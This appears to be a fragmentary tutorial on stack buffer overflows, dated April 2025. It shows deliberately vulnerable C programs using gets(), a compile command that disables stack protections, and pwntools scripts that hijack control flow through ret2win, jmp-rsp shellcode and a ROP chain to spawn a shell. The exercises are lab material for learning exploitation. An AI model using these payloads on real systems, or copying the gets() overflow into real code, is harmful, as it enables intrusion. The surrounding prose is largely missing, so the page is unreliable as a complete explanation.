Apr 28, 2025
ret2win
attack.gets
.#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void win() {
printf("How did you get here? I don't know whether to hire or fire you...");
execve("/bin/sh", 0, 0);
}
void main() {
char buffer[32];
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
printf("Welcome to Paperclip Mill NLC job portal. Why should we hire you? ");
gets(buffer);
printf("Thanks, we received your input: %s\n", buffer);
}
win
function:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void stuff() {
asm volatile ("jmp *%%rsp;" :::);
}
void main() {
char buffer[32];
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
printf("Welcome to Paperclip Mill NLC job portal. Why should we hire you? ");
gets(buffer);
printf("Thanks, we received your input: %s\n", buffer);
}
gcc pwnme.c -o pwnme -zexecstack -fno-stack-protector -no-pie
ropper
to find gadgets.jmp rsp
.from pwn import *
context.arch = "amd64"
p = process("./pwnme")
gdb.attach(p)
payload = b"Z" * 40 + p64(0x40117e) + asm(shellcraft.sh())
p.sendline(payload)
p.interactive()
gets
: No proper use case, rampant in C programs.zexecstack
, fno-stack-protector
, no-pie
.from pwn import *
context.arch = "amd64"
p = process("./pwnme2")
pop_rdi = 0x401293
binsh = 0x404060
system_plt = 0x000000401070
alignment_ret = 0x000000000040122d
payload = b"F" * 40 + p64(alignment_ret) + p64(pop_rdi) + p64(binsh) + p64(system_plt)
p.sendline(payload)
p.interactive()